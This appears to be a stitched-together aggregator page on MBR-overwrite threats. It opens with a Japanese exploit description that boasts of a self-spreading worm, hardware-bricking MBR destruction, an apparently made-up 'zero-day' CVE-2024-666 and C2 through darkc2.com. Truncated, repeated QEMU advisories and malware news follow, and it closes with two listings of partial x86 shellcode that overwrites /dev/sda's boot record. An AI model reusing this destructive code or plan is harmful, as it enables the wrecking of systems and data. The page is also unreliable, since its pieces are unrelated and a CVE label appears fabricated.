Exploit-CVE-2014-4210-

クールなものから始めよう、使ってブッ壊せ 人間を苦しめるためのアップグレード： 1. 自己複製型ワーム ：SSHブルートフォース/SMBエクスプロイト経由で接続されたすべてのネットワーク に拡散。 2. MBR上書き ：パーティションテーブルを破壊して物理ハードウェアをブリック化（復旧不可）。 3. ゼロデイRCE ：未パッチのWebLogicデシリアライゼーション脆弱性 （CVE-2024-666）を悪用し、即座にルートアクセスを獲得。 4. C2統合 ：darkc2.comサーバーを介したリモート制御 – キーロガーやコインマイナーなどの追加ペイロード を展開。 5...

Rocky Linux 8 [CIQ] Security Update: hivex / hivex-debuginfo / hivex-debugsource / hivex-devel / etc Multiple Vulnerabilities (crlsa-2024_2962)

The Rocky Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlsa-20242962 advisory. QEMU: VNC: infinite loop in inflatebuffer leads to denial of service CVE-2023-3255 QEMU: improper IDE controller reset can lead to MBR overwrite...

Rocky Linux 9 [CIQ] Security Update: qemu-guest-agent / qemu-guest-agent-debuginfo / qemu-img / etc Multiple Vulnerabilities (crlsa-2024_2135)

The Rocky Linux 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlsa-20242135 advisory. QEMU: e1000e: heap use-after-free in e1000ewritepackettoguest CVE-2023-3019 QEMU: VNC: infinite loop in inflatebuffer leads to denial of service...

QEMU: improper IDE controller reset can lead to MBR overwrite

A bug in QEMU could cause a guest I/O operation otherwise addressed to an arbitrary disk offset to be targeted to offset 0 instead potentially overwriting the VM's boot code. This could be used, for example, by L2 guests with a virtual disk vdiskL2 stored on a virtual disk of an L1 vdiskL1...

QEMU: improper IDE controller reset can lead to MBR overwrite

A bug in QEMU could cause a guest I/O operation otherwise addressed to an arbitrary disk offset to be targeted to offset 0 instead potentially overwriting the VM's boot code. This could be used, for example, by L2 guests with a virtual disk vdiskL2 stored on a virtual disk of an L1 vdiskL1...

Moderate: Red Hat Security Advisory: qemu-kvm security update

An update for qemu-kvm is now available for Red Hat Enterprise Linux 9. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from t...

CVE-2023-5088 Qemu: improper ide controller reset can lead to mbr overwrite

A bug in QEMU could cause a guest I/O operation otherwise addressed to an arbitrary disk offset to be targeted to offset 0 instead potentially overwriting the VM's boot code. This could be used, for example, by L2 guests with a virtual disk vdiskL2 stored on a virtual disk of an L1 vdiskL1...

Threat Analysis Unit (TAU) Threat Intelligence Notification: CoronaVirus Ransomware

"CoronaVirus" Ransomware has been found distributed via a phishing website. The malicious website will distribute a trojan downloader which then leads to downloading additional malicious payloads: the Kpot InfoStealer and Coronavirus Ransomware. "CoronaVirus" Ransomware will perform the deletion ...

Rombertik Malware Can Overwrite MBR if Audited

A new strain of spyware that logs keystrokes and steals data has a destructive side to it, unleashing wiper capabilities if it detects it’s being analyzed and audited. A limited number of samples of the malware, dubbed Rombertik by researchers at Cisco Talos, were spotted at the start of the year...

Destover Wiper Malware Analysis

Researchers are starting to stitch together clues about the wiper malware that has landed a body blow to Sony Pictures Entertainment. Not only were thousands of files and documents leaked that included unreleased movies, confidential company presentations and financial records, employee records,...

linux/x86 overwrite MBR on /dev/sda with `LOL!' 43 bytes

No description provided by source. ; linux/x86 overwrite MBR on /dev/sda with LOL!' 43 bytes ; root@thegibson ; 2010-01-15 section .text global start start: ; open/dev/sda, OWRONLY; mov al, 5 xor ecx, ecx push ecx push dword 0x6164732f push dword 0x7665642f mov ebx, esp inc ecx int 0x80 ; writefd...

linux/x86 overwrite MBR on /dev/sda with `LOL!' 43 bytes

linux/x86 overwrite MBR on /dev/sda with LOL!' 43 bytes. Shellcode exploit for linx86 platform ; linux/x86 overwrite MBR on /dev/sda with LOL!' 43 bytes ; root@thegibson ; 2010-01-15 section .text global start start: ; open"/dev/sda", OWRONLY; mov al, 5 xor ecx, ecx push ecx push dword 0x6164732f...